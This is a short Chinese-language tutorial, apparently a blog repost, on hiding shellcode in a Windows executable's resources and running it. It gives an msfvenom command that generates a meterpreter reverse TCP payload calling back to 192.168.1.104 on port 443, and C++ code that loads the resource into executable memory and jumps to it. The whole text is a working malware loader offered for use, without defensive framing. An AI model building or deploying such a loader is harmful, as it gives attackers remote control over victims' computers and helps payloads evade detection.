从PE资源加载和执行Shellcode

首先生成shellcode

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.104 LPORT=443 > shellcode.bin

 在解决方案资源管理器中右键单击并选择Resource FilesAdd > Resource

// ConsoleApplication12.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"

int main()
{
	// IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode
	// METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin
	HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELL_CODE1), L"SHELL_CODE");
	DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
	HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
	
	void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcodeResouceData, shellcodeSize);
	((void(*)())exec)();

	return  0;
}

 

原文地址:https://www.cnblogs.com/-zhong/p/13908954.html